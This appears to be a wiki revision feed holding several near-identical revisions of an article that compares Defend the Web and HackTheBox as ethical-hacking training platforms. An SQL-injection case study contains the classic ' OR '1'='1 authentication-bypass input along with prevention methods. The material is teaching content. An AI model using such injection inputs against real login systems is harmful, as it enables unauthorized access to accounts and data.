[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox&amp;lt;ref name=&amp;quot;logo&amp;quot;/&amp;gt;]]&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*In-Band SQLi: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*Blind SQLi: Infers information through application behavior or response times.&lt;br /&gt;
*Stored SQLi: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:HackTheBoxLogo.png&amp;diff=17638</id>
		<title>File:HackTheBoxLogo.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:HackTheBoxLogo.png&amp;diff=17638"/>
		<updated>2024-12-18T19:47:41Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17633</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17633"/>
		<updated>2024-12-18T19:40:07Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*In-Band SQLi: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*Blind SQLi: Infers information through application behavior or response times.&lt;br /&gt;
*Stored SQLi: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17611</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17611"/>
		<updated>2024-12-18T19:17:40Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17609</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17609"/>
		<updated>2024-12-18T19:15:36Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
